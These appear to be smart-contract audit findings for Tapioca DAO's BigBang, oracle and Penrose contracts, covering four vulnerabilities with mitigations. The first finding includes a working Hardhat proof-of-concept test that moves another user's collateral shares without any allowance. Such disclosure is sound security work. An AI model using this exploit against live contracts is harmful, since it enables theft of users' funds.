Tapioca DAO - ltyu's results

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L288

Vulnerability details

Impact

The modifier, allowedBorrow does not check allowance for amount. This results in other user shares being stolen.

Proof of Concept

In addCollateral() of BigBang.sol, a user is able to add collateral of from address, and the to address would get the shares. One of the features of this function is the ability to add collateral using an amount or shares.

For access control, a modifier checks to see if the caller can borrow based on their allowed shares amount (i.e. allowanceBorrow).

// allowedBorrow modifer checks the allowance using shares
function addCollateral(
        address from,
        address to,
        bool skim,
        uint256 amount,
        uint256 share
) public allowedBorrow(from, share) notPaused {
	_addCollateral(from, to, skim, amount, share);
}

// Internal function of allowedBorrow modifer
function _allowedBorrow(address from, uint share) internal {
	if (from != msg.sender) {
		if (allowanceBorrow[from][msg.sender] < share) {
			revert NotApproved(from, msg.sender);
		}
		allowanceBorrow[from][msg.sender] -= share;
	}
}

However, this is problematic because allowedBorrow() only checks the allowance based on shares, and not amount. This means that anyone can call addCollateral() using only amount, and steal other user's shares.

Proof of Concept

Add this unit test to addCollateral() block of BigBang.test.ts

it.only('should add collateral without allowance', async () => {
    const [owner, otherUser] = await ethers.getSigners();
    const {
        wethBigBangMarket,
        weth,
        wethAssetId,
        yieldBox,
        deployer,
        eoa1,
    } = await loadFixture(register);

    await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
    await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);

    const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
        10,
    );
    await weth.freeMint(wethMintVal);

    // Deployer deposits assets
    const valShare = await yieldBox.toShare(
        wethAssetId,
        wethMintVal,
        false,
    );
    await yieldBox.depositAsset(
        wethAssetId,
        deployer.address,
        deployer.address,
        0,
        valShare,
    );

    // Check shares of otherUser
    const collateralSharesBefore = await wethBigBangMarket.userCollateralShare(
        otherUser.address,
    );
    expect(collateralSharesBefore.eq(0)).to.be.true;

    // No approval needed before 
    await wethBigBangMarket.connect(otherUser).addCollateral(
        deployer.address,
        otherUser.address,
        false,
        wethMintVal,
        0,
    );
    
    // Check shares of otherUser, now has shares
    const collateralSharesAfter = await wethBigBangMarket.userCollateralShare(
        otherUser.address,
    );
    expect(collateralSharesAfter.gt(0)).to.be.true;
    expect(collateralSharesAfter.eq(valShare)).to.be.true;

    // Check deployer shares, no shares
    const deployerSharesAfter = await wethBigBangMarket.userCollateralShare(
        otherUser.address,
    );
    expect(deployerSharesAfter.eq(0)).to.be.true;
});

Tools Used

Manual

Recommended Mitigation Steps

Consider 1) creating a modifier that also checks the input amount, and 2) removing either amount or shares to simplify this function if both are not required.

Assessed type

Access Control

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L232-L234

Vulnerability details

Impact

Users unfairly accrue interest when the protocol has been paused. This results in increase liquidation risk once BigBang has unpaused.

Proof of Concept

In accrue() of BigBang.sol, any user can call and accrue interest for borrowed tokens. However, this function can still be called when BigBang is paused. This is problematic because when the system is paused, for no fault of their own, users will end up accruing interest rate.

Also, since repay() cannot be called while paused, user would have no way to service their loans. Even though liquidate() cannot be called immediately, MEV can still try to front-run liquidations after unpause.

Tools Used

Manual

Recommended Mitigation Steps

Consider allowing repayments when BigBang has been paused.

Assessed type

Timing

Lines of code

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/oracle/implementations/ARBTriCryptoOracle.sol#L120-L124

Vulnerability details

Impact

ARBTriCryptoOracle incorrectly assumes all prices return a decimal of 8. This results in overpricing an asset, causing protocol-wide accounting issues.

Proof of Concept

In _get() of ARBTriCryptoOracle.sol, each Tricrypto price is fetched from Chainlink. The prices are then scaled to 18 decimals

function _get() internal view returns (uint256 _maxPrice) {
	uint256 _vp = TRI_CRYPTO.get_virtual_price();

	// Get the prices from chainlink and add 10 decimals
	uint256 _btcPrice = uint256(BTC_FEED.latestAnswer()) * 1e10;
	uint256 _wbtcPrice = uint256(WBTC_FEED.latestAnswer()) * 1e10;
	uint256 _ethPrice = uint256(ETH_FEED.latestAnswer()) * 1e10;
	uint256 _usdtPrice = uint256(USDT_FEED.latestAnswer()) * 1e10;

This scaling is problematic because it always assumes the price returned is 8 decimals, which is true for most price feeds. However, there are some feeds that return pricing with other decimals. This results in incorrect scaling, and thus overpricing an asset.

Tools Used

Manual

Recommended Mitigation Steps

Consider implementing a dynamic scaling solution based on the oracle's exact decimal(), which is done in other existing Oracle implementations.

Assessed type

Oracle

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/Penrose.sol#L232-L248 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/Penrose.sol#L531

Vulnerability details

Impact

withdrawAllMarketFees() gives the caller control of slippage, which can result in unfavorable fee swaps, and lost protocol fees.

Proof of Concept

In withdrawAllMarketFees() of Penrose.sol, anyone can call this function to collect protocol fees into Yieldbox. Since the fees get deposited on behalf of the protocol, it is understandable that access for function does not need to controlled, thus anyone can call this.

However, this is problematic because the SwapData.minAssetAmount can be set as anything. At the worst case, an adversary can potentially set this to 0, and manipulate the swap price to give max slippage for the swap, potentially resulting in no fees. At the best case, benevolent callers may unintentionally set this to a low number, and always give the protocol unfavorable swap results.

Tools Used

Manual

Recommended Mitigation Steps

Consider controlling who can call withdrawAllMarketFees() e.g. protocol/owner only.

Assessed type

Access Control